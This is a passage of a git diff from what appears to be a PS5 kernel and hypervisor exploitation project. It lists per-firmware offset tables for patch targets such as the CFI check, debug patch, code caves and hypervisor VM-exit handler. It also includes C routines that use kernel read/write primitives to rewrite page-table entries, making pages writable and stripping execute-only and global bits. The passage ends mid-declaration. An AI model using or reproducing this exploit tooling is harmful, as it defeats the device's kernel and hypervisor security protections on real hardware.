.PS5_WIFI_FW_OFFSET = 0x1274550, - .PS5_WIFI_FW_SIZE = 492304, -}; - -offset_list off_0321 = { - .PMAP_STORE = 0x3D8E218, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33175E0, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x06423F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, - .FUN_PRINTF = 0x48BD30, - .FUN_VA_TO_PA = 0x8317A0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, - .FUN_SMP_RENDEZVOUS = 0xA3ED50, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x734B5D0, - .FUN_TRANSMITTER_CONTROL = 0xB2AA60, - .FUN_MP3_INITIALIZE = 0x953D30, - .FUN_MP3_INVOKE = 0x952B10, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x7527F0, - .KERNEL_CFI_CHECK = 0x442160, - .PS5_WIFI_FW_OFFSET = 0x1274550, - .PS5_WIFI_FW_SIZE = 492304, -}; - -offset_list off_0400 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x064C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, - .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85ADC0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830, - .FUN_SMP_RENDEZVOUS = 0xA6C920, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5AD50, - .FUN_MP3_INITIALIZE = 0x9805C0, - .FUN_MP3_INVOKE = 0x97F3E0, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DA70, - .KERNEL_CFI_CHECK = 0x45A170, - .PS5_WIFI_FW_OFFSET = 0x1392FB0, - .PS5_WIFI_FW_SIZE = 493000, -}; - -offset_list off_0402 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x064C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, - .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85AE10, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB63950, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890, - .FUN_SMP_RENDEZVOUS = 0xA6C970, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5ADA0, - .FUN_MP3_INITIALIZE = 0x980610, - .FUN_MP3_INVOKE = 0x97F430, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DAC0, - .KERNEL_CFI_CHECK = 0x45A170, - .PS5_WIFI_FW_OFFSET = 0x1392FB0, - .PS5_WIFI_FW_SIZE = 493000, -}; - -offset_list off_0403 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x064C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, - .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85AEA0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930, - .FUN_SMP_RENDEZVOUS = 0xA6CA00, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5AE30, - .FUN_MP3_INITIALIZE = 0x9806A0, - .FUN_MP3_INVOKE = 0x97F4C0, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DB50, - .KERNEL_CFI_CHECK = 0x45A170, - .PS5_WIFI_FW_OFFSET = 0x1392FB0, - .PS5_WIFI_FW_SIZE = 493000, -}; - -offset_list off_0450 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x064C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3, - .FUN_PRINTF = 0x04A3270, - .FUN_VA_TO_PA = 0x85AFF0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0, - .FUN_SMP_RENDEZVOUS = 0xA6CBB0, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5AFF0, - .FUN_MP3_INITIALIZE = 0x980850, - .FUN_MP3_INVOKE = 0x97F670, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DC80, - .KERNEL_CFI_CHECK = 0x45A1A0, - .PS5_WIFI_FW_OFFSET = 0x1392FC0, - .PS5_WIFI_FW_SIZE = 493000, -}; - -offset_list off_0451 = { - .PMAP_STORE = 0x3E57A78, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33C7680, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x64C3F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3, - .FUN_PRINTF = 0x4A3270, - .FUN_VA_TO_PA = 0x85B390, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20, - .FUN_SMP_RENDEZVOUS = 0xA6CFE0, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x72B7630, - .FUN_TRANSMITTER_CONTROL = 0xB5B420, - .FUN_MP3_INITIALIZE = 0x980BF0, - .FUN_MP3_INVOKE = 0x97FA10, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DC90, - .KERNEL_CFI_CHECK = 0x45A1A0, - .PS5_WIFI_FW_OFFSET = 0x1393000, - .PS5_WIFI_FW_SIZE = 493000, -}; +#include "offsets.h" + +offset_list off_0300 = { + .PMAP_STORE = 0x3D8E218, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33175E0, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x06423F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E73, + .FUN_PRINTF = 0x048B9A0, + .FUN_VA_TO_PA = 0x0831410, + .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20, + .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50, + .FUN_SMP_RENDEZVOUS = 0x0A3E850, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x0734B5D0, + .FUN_TRANSMITTER_CONTROL = 0x0B2A560, + .FUN_MP3_INITIALIZE = 0x0953890, + .FUN_MP3_INVOKE = 0x0952670, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x0752460, + .KERNEL_CFI_CHECK = 0x0441DD0, + .PS5_WIFI_FW_OFFSET = 0x1274460, + .PS5_WIFI_FW_SIZE = 492304, +}; + +offset_list off_0310 = { + .PMAP_STORE = 0x3D8E218, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33175E0, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x06423F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390EB3, + .FUN_PRINTF = 0x048B9E0, + .FUN_VA_TO_PA = 0x0831450, + .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60, + .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90, + .FUN_SMP_RENDEZVOUS = 0x0A3E890, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x0734B5D0, + .FUN_TRANSMITTER_CONTROL = 0x0B2A5A0, + .FUN_MP3_INITIALIZE = 0x09538D0, + .FUN_MP3_INVOKE = 0x09526B0, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x07524A0, + .KERNEL_CFI_CHECK = 0x0441E10, + .PS5_WIFI_FW_OFFSET = 0x1274490, + .PS5_WIFI_FW_SIZE = 492304, +}; + +offset_list off_0320 = { + .PMAP_STORE = 0x3D8E218, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33175E0, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x06423F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, + .FUN_PRINTF = 0x48BD30, + .FUN_VA_TO_PA = 0x8317A0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, + .FUN_SMP_RENDEZVOUS = 0xA3ED50, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x734B5D0, + .FUN_TRANSMITTER_CONTROL = 0xB2AA60, + .FUN_MP3_INITIALIZE = 0x953D30, + .FUN_MP3_INVOKE = 0x952B10, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x7527F0, + .KERNEL_CFI_CHECK = 0x442160, + .PS5_WIFI_FW_OFFSET = 0x1274550, + .PS5_WIFI_FW_SIZE = 492304, +}; + +offset_list off_0321 = { + .PMAP_STORE = 0x3D8E218, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33175E0, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x06423F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, + .FUN_PRINTF = 0x48BD30, + .FUN_VA_TO_PA = 0x8317A0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, + .FUN_SMP_RENDEZVOUS = 0xA3ED50, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x734B5D0, + .FUN_TRANSMITTER_CONTROL = 0xB2AA60, + .FUN_MP3_INITIALIZE = 0x953D30, + .FUN_MP3_INVOKE = 0x952B10, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x7527F0, + .KERNEL_CFI_CHECK = 0x442160, + .PS5_WIFI_FW_OFFSET = 0x1274550, + .PS5_WIFI_FW_SIZE = 492304, +}; + +offset_list off_0400 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x064C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, + .FUN_PRINTF = 0x4A3240, + .FUN_VA_TO_PA = 0x85ADC0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830, + .FUN_SMP_RENDEZVOUS = 0xA6C920, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5AD50, + .FUN_MP3_INITIALIZE = 0x9805C0, + .FUN_MP3_INVOKE = 0x97F3E0, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DA70, + .KERNEL_CFI_CHECK = 0x45A170, + .PS5_WIFI_FW_OFFSET = 0x1392FB0, + .PS5_WIFI_FW_SIZE = 493000, +}; + +offset_list off_0402 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x064C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, + .FUN_PRINTF = 0x4A3240, + .FUN_VA_TO_PA = 0x85AE10, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB63950, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890, + .FUN_SMP_RENDEZVOUS = 0xA6C970, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5ADA0, + .FUN_MP3_INITIALIZE = 0x980610, + .FUN_MP3_INVOKE = 0x97F430, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DAC0, + .KERNEL_CFI_CHECK = 0x45A170, + .PS5_WIFI_FW_OFFSET = 0x1392FB0, + .PS5_WIFI_FW_SIZE = 493000, +}; + +offset_list off_0403 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x064C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, + .FUN_PRINTF = 0x4A3240, + .FUN_VA_TO_PA = 0x85AEA0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930, + .FUN_SMP_RENDEZVOUS = 0xA6CA00, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5AE30, + .FUN_MP3_INITIALIZE = 0x9806A0, + .FUN_MP3_INVOKE = 0x97F4C0, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DB50, + .KERNEL_CFI_CHECK = 0x45A170, + .PS5_WIFI_FW_OFFSET = 0x1392FB0, + .PS5_WIFI_FW_SIZE = 493000, +}; + +offset_list off_0450 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x064C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3, + .FUN_PRINTF = 0x04A3270, + .FUN_VA_TO_PA = 0x85AFF0, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0, + .FUN_SMP_RENDEZVOUS = 0xA6CBB0, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5AFF0, + .FUN_MP3_INITIALIZE = 0x980850, + .FUN_MP3_INVOKE = 0x97F670, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DC80, + .KERNEL_CFI_CHECK = 0x45A1A0, + .PS5_WIFI_FW_OFFSET = 0x1392FC0, + .PS5_WIFI_FW_SIZE = 493000, +}; + +offset_list off_0451 = { + .PMAP_STORE = 0x3E57A78, + .HV_VCPU_ARRAY_OFF = 0x5D0, + .HV_VCPU_STRIDE = 0x320, + .HV_VCPU_VMCB_PTR = 0x08, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, + .IOMMU_SOFTC = 0x33C7680, + .VMSPACE_VM_VMID = 0x1E4, + .VMSPACE_VM_PMAP = 0x1D0, + .PMAP_PM_PML4 = 0x020, + .PMAP_PM_CR3 = 0x028, + .DATA_BASE_GVMSPACE = 0x64C3F80, + .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3, + .FUN_PRINTF = 0x4A3270, + .FUN_VA_TO_PA = 0x85B390, + .FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0, + .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20, + .FUN_SMP_RENDEZVOUS = 0xA6CFE0, + .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .HV_CODE_CAVE_PA = 0x62806F00, + .HV_UART_OVERRIDE_PA = 0x62800008, + .G_VBIOS = 0x72B7630, + .FUN_TRANSMITTER_CONTROL = 0xB5B420, + .FUN_MP3_INITIALIZE = 0x980BF0, + .FUN_MP3_INVOKE = 0x97FA10, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DC90, + .KERNEL_CFI_CHECK = 0x45A1A0, + .PS5_WIFI_FW_OFFSET = 0x1393000, + .PS5_WIFI_FW_SIZE = 493000, +}; diff --git a/source/tmr.c b/source/tmr.c index 8adb242..89f918f 100644 --- a/source/tmr.c +++ b/source/tmr.c @@ -1,12 +1,12 @@ -#include "tmr.h" -#include "utils.h" - -uint32_t tmr_read(uint32_t addr) { - kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr); - return kread32(ECAM_B0D18F2 + TMR_DATA_OFF); -} - -void tmr_write(uint32_t addr, uint32_t val) { - kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr); - kwrite32(ECAM_B0D18F2 + TMR_DATA_OFF, val); -} \ No newline at end of file +#include "tmr.h" +#include "utils.h" + +uint32_t tmr_read(uint32_t addr) { + kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr); + return kread32(ECAM_B0D18F2 + TMR_DATA_OFF); +} + +void tmr_write(uint32_t addr, uint32_t val) { + kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr); + kwrite32(ECAM_B0D18F2 + TMR_DATA_OFF, val); +} diff --git a/source/utils.c b/source/utils.c index 1ea26d5..c0c7ab5 100644 --- a/source/utils.c +++ b/source/utils.c @@ -1,279 +1,279 @@ -#include "utils.h" -#include "offsets.h" -#include -#include -#include -#include -#include -#include -#include - -/* Global Variables */ -offset_list env_offset; -uint64_t ktext; -uint64_t kdata; -uint64_t dmap; -uint64_t cr3; -uint32_t fw; -struct linux_info linux_i; - -int set_offsets(void) { - fw = kernel_get_fw_version() >> 16; - if (fw == 0) - return -1; - switch (fw) { - case 0x0300: - env_offset = off_0300; - break; - case 0x0310: - env_offset = off_0310; - break; - case 0x0320: - env_offset = off_0320; - break; - case 0x0321: - env_offset = off_0321; - break; - case 0x0400: - env_offset = off_0400; - break; - case 0x0402: - env_offset = off_0402; - break; - case 0x0403: - env_offset = off_0403; - break; - case 0x0450: - env_offset = off_0450; - break; - case 0x0451: - env_offset = off_0451; - break; - default: - return -1; - } - return 0; -} - -int init_global_vars(void) { - ktext = KERNEL_ADDRESS_TEXT_BASE; - kdata = KERNEL_ADDRESS_DATA_BASE; - - flat_pmap kernel_pmap; - kread(ktext + env_offset.PMAP_STORE, &kernel_pmap, sizeof(kernel_pmap)); - if (kernel_pmap.pm_pml4 == 0 || kernel_pmap.pm_cr3 == 0) - return -1; - - cr3 = kernel_pmap.pm_cr3; - dmap = kernel_pmap.pm_pml4 - kernel_pmap.pm_cr3; - - return 0; -} - -uint64_t get_offset_va(uint64_t offset) { return ktext + offset; } - -uint64_t get_pml4(uint64_t pmap) { return kread64(pmap + 0x20); } - -uint64_t getpmap(uint64_t proc) { - uint64_t vm = kread64(proc + KERNEL_OFFSET_PROC_P_VMSPACE); - uint64_t vm_pmap = kread64(vm + env_offset.VMSPACE_VM_PMAP); - return vm_pmap; -} - -// for ring3 -uint64_t va_to_pa_user(uint64_t va) { - uintptr_t self_pmap = getpmap(kernel_get_proc(getpid())); - uintptr_t self_pml4 = get_pml4(self_pmap); - uint64_t pa = va_to_pa_custom(va, self_pml4 & 0xFFFFFFFF); - return pa; -} - -// for ring0 -uint64_t va_to_pa_kernel(uint64_t va) { return va_to_pa_custom(va, cr3); } - -// Source: PS5_kldload -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { - - uint64_t table_phys = cr3_custom & 0xFFFFFFFF; - - for (int level = 0; level < 4; level++) { - int shift = 39 - (level * 9); - uint64_t idx = (va >> shift) & 0x1FF; - uint64_t entry; - - kread(dmap + PAGE_PA(table_phys) + idx * 8, &entry, sizeof(entry)); - - if (!PAGE_P(entry)) - return 0; - - if ((level == 1 || level == 2) && PAGE_PS(entry)) { - uint64_t page_size = P_SIZE(level); - return PAGE_PA(entry) | (va & (page_size - 1)); - } - - if (level == 3) - return PAGE_PA(entry) | (va & 0xFFF); - - table_phys = PAGE_PA(entry); - } - return 0; -} - -uint64_t pa_to_dmap(uint64_t pa) { return dmap + pa; } - -// Set RW bit on all levels if needed and remove eXecute Only bit -void page_chain_set_rw(uint64_t va) { - - uint64_t table_phys = cr3; - - for (int level = 0; level < 4; level++) { - int shift = 39 - (level * 9); - uint64_t idx = (va >> shift) & 0x1FF; - uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; - uint64_t entry; - - // Read Level X entry - kread(entry_va, &entry, sizeof(entry)); - - if (!PAGE_P(entry)) - return; - - uint8_t update = 0; - // Set RW bit on this level - if (!PAGE_RW(entry)) { - PAGE_SET_RW(entry); - update = 1; - } - // Unset XO on this level - if (PAGE_XO(entry)) { - PAGE_CLEAR_XO(entry); - update = 1; - } - if (update) { - kwrite(entry_va, &entry, sizeof(entry)); - } - - if (((level == 1 || level == 2) && PAGE_PS(entry)) || (level == 3)) { - return; - } - - table_phys = PAGE_PA(entry); - } - return; -} - -// Remove Global bit on last level -uint64_t page_remove_global(uint64_t va) { - - uint64_t table_phys = cr3; - - for (int level = 0; level < 4; level++) { - int shift = 39 - (level * 9); - uint64_t idx = (va >> shift) & 0x1FF; - uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; - uint64_t entry; - - // Read Level X entry - kread(entry_va, &entry, sizeof(entry)); - - if (!PAGE_P(entry)) - return 0; - - if ((level == 1 || level == 2) && PAGE_PS(entry)) { - PAGE_CLEAR_G(entry); - kwrite(entry_va, &entry, sizeof(entry)); - - uint64_t page_size = P_SIZE(level); - return PAGE_PA(entry) | (va & (page_size - 1)); - } - - if (level == 3) { - - PAGE_CLEAR_G(entry); - kwrite(entry_va, &entry, sizeof(entry)); - - return PAGE_PA(entry) | (va & 0xFFF); - } - - table_phys = PAGE_PA(entry); - } - return 0; -} - -int 